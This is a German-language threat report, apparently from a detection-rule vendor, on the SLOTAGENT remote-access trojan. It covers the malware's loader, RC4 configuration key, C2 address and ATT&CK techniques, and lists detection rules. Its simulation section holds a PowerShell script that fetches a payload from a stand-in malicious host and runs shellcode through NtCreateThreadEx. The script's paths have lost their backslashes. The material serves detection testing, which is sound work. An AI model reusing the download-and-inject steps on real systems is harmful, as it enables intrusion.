Neue Malware SLOTAGENT Unterstützt BOF-Ausführung Veröffentlicht
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
IIJ identifizierte eine bisher unbekannte multifunktionale RAT namens SLOTAGENT in einem ZIP-Archiv, das in ein öffentliches Repository hochgeladen wurde. Die Malware unterstützt die Ausführung von Beacon Object File Payloads und enthält antiforensische Fähigkeiten wie Timestomping, um die Analyse zu erschweren. Sie kommuniziert über einen fest codierten TCP-Endpunkt durch ein benutzerdefiniertes Protokoll, das JSON-formatierte Daten austauscht. Der Loader stützt sich auf RC4-verschlüsselte Konfigurationsdaten und reflektierendes DLL-Loading, um die endgültige Nutzlast zu starten.
Untersuchung
Statische Analyse zeigte, dass das Loader-Executable, WindowsOobeAppHost.AOT.exe, Windows-API-Funktionen durch eine benutzerdefinierte Hash-Routine auf der Basis von DJB2 auflöst. Die verschlüsselte Konfigurationsdatei, db.config, wird mit RC4 unter Verwendung des Schlüssels easdbadshyfab entschlüsselt und dann als Shellcode mit einer XOR-kodierten DLL ausgeführt. Nach dem Laden verbindet sich die RAT mit 43.156.59.110:699 und verarbeitet JSON-basierte Befehle, die Funktionen wie Screenshot-Erfassung, Datei-Upload und -Download sowie BOF-Ausführung unterstützen.
Minderung
Verteidiger sollten die fest codierte Command-and-Control-IP-Adresse erkennen und nach den charakteristischen HTTP-ähnlichen Pfadstrings suchen, die mit dem Netzwerkdatenverkehr der Malware verbunden sind. Die im Bericht bereitgestellten YARA-Regeln sollten eingesetzt werden, um sowohl die Loader- als auch die RAT-Komponenten zu identifizieren. Sicherheitsteams sollten auch auf verdächtiges API-Hashing-Verhalten und reflektive DLL-Loading auf Endpunkten überwachen. Die Ausführung von unsignierten und untrusted EXE- oder DLL-Dateien sollte, wo immer möglich, eingeschränkt werden.
Antwort
Wenn Indikatoren, die mit SLOTAGENT verknüpft sind, erkannt werden, isolieren Sie den betroffenen Host sofort, beenden Sie den schädlichen Prozess und sammeln Sie Speicher für die forensische Untersuchung. Die Command-and-Control-IP-Adresse und die zugehörigen Ports sollten an der Netzwerkgrenze blockiert werden. Organisationen sollten dann einen vollständigen Sweep nach den bekannten Dateinamen und Hashes durchführen und die veröffentlichten YARA-Signaturen auf Endpunkt-Erkennungssysteme anwenden.
graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[„<b>Malware</b> – <b>Name</b>: WindowsOobeAppHost.AOT.exe<br/><b>Technik</b>: T1204.002 Benutzer-Ausführung“] class malware_exe malware exec_hijack[„<b>Technik</b> – <b>T1574 Hijacking des Ausführungsflusses</b>: Ruft die exportierte Funktion __managed__Main auf“] class exec_hijack action api_resolve[„<b>Technik</b> – <b>T1027.007 Verschleierte/Gespeicherte Dateien: Dateien deobfuskieren</b>: Benutzerdefiniertes XOR/ROR11-Hashing zur Auflösung von API-Adressen“] class api_resolve action config_decrypt[„<b>Technik</b> – <b>T1027.007</b>: Entschlüsselt die Konfiguration mit RC4“] class config_decrypt action dll_decrypt[„<b>Technik</b> – <b>T1027.007</b>: Entschlüsselt XOR-kodierte DLL (agent_tcp.dll)“] class dll_decrypt action reflective_load[„<b>Technik</b> – <b>T1620 Reflective DLL Loading</b>: Lädt die DLL im Speicher ohne Festplattenzugriff“] class reflective_load process process_injection[„<b>Technik</b> – <b>T1055.009 Prozessinjektion: Thread-Ausführungs-Hijacking</b>: Injiziert die reflektierte DLL in den Prozess“] class process_injection process c2_channel[„<b>Technik</b> – <b>T1571 Nicht-standardmäßiger Port</b> and <b>T1573 Verschlüsselter Kanal</b>: Stellt TCP-C2 zu 43.156.59.110:699 her“] class c2_channel network host_info[„<b>Technik</b> – <b>T1592.001 Systemversion</b> and <b>T1592.002 Hardwaredetails</b>: Sendet JSON mit Systemdaten“] class host_info data proc_discovery[„<b>Technik</b> – <b>T1057 Prozessentdeckung</b>: Listet laufende Prozesse auf“] class proc_discovery data file_discovery[„<b>Technik</b> – <b>T1083 Datei- und Verzeichnisentdeckung</b>: Listet Dateien und Verzeichnisse“] class file_discovery data screenshot_cap[„<b>Technik</b> – <b>T1113 Bildschirmaufnahme</b>: Erfasst den Bildschirm“] class screenshot_cap data remote_shell[„<b>Technik</b> – <b>T1059 Befehlsshell</b>: Führt Befehle remote aus“] class remote_shell process bof_execution[„<b>Technik</b> – <b>T1027.009 Eingebettete Payloads</b> and <b>T1027.004 Kompilierung nach Lieferung</b>: Führt BOF-Module aus“] class bof_execution process shared_modules[„<b>Technik</b> – <b>T1129 Gemeinsame Module</b>: Lädt zusätzliche Module“] class shared_modules process file_transfer[„<b>Technik</b> – <b>T1105 Tool-Transfer</b>: Lädt Dateien hoch und herunter“] class file_transfer data proc_termination[„<b>Technik</b> – <b>T1106 Native API</b>: Beendet Prozesse“] class proc_termination process sleep_manip[„<b>Technik</b> – <b>T1027.004</b>: Manipuliert Sleep-Intervalle zur Umgehung der Analyse“] class sleep_manip action %% Connections malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip
Angriffsablauf
Erkennungen
Möglicher WindowsOobeAppHost.AOT DLL Side-Loading-Versuch (über image_load)
Ansehen
IOCs (HashSha256) zum Erkennen: Neue Malware SLOTAGENT Unterstützung BOF-Ausführung veröffentlicht
Ansehen
IOCs (SourceIP) zum Erkennen: Neue Malware SLOTAGENT Unterstützung BOF-Ausführung veröffentlicht
Ansehen
IOCs (DestinationIP) zum Erkennen: Neue Malware SLOTAGENT Unterstützung BOF-Ausführung veröffentlicht
Ansehen
SLOTAGENT C2-Kommunikation erkennen [Windows Netzwerkverbindung]
Ansehen
Erkennung der SLOTAGENT Malware-Ausführung [Windows Prozess-Erstellung]
Ansehen
Simulationseinführung
Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden haben.
-
Angriffsnarrativ & Befehle:
Der Gegner hat eine Kopie der SLOTAGENT Loader-Binary erhalten, sie umbenannt in
WindowsOobeAppHost.AOT.exeum sich mit legitimen OOBE-Prozessen zu vermischen, und hat sie inC:WindowsSystem32platziert. Die Nutzlast wird in einem verschlüsselten Blob auf dem Server des Angreifers gespeichert. Mit PowerShell lädt der Angreifer den verschlüsselten Blob herunter, entschlüsselt ihn im Speicher und ruft die reflektive Routine des Loaders überNtCreateThreadExauf. Der Loader ruft internNtCreateFileauf, um zusätzliche Ressourcen aus dem verschlüsselten Blob zu lesen, und verwendet dann reflektives Loading, um die bösartige DLL auszuführen, ohne den Datenträger zu berühren. Diese Aktivität erzeugt ein Sysmon ProcessCreate-Ereignis mit dem genauenBild-Namen und einemCallTraceder die drei im Regelwerk definierten Zeichenfolgen enthält. -
Regressionstestskript:
# ------------------------------------------------- # SLOTAGENT reflektive Lade-Simulation (Windows) # ------------------------------------------------- # 1. Pfade definieren $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Sicherstellen, dass der Loader existiert (simulierte Kopie der echten Binärdatei) if (-not (Test-Path $loaderPath)) { Write-Host "Kopiere simulierten Loader nach $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Verschlüsselte Nutzlast herunterladen (simuliert) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Nutzlast im Speicher entschlüsseln (Platzhalter – echte Entschlüsselung ausgelassen) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Reflektives Laden über native API-Aufrufe einleiten # Dies nutzt einen winzigen C#-Helfer, der on-the-fly kompiliert wird und NtCreateThreadEx aufruft $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Temporäre Datei bereinigen Remove-Item $tempPayload -Force -
Bereinigungskommandos:
# Beendet jeglichen verbleibenden Loader-Prozess Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Entfernt simulierte Loader-Binärdatei $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Entfernt jegliche verbleibenden temporären Dateien Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue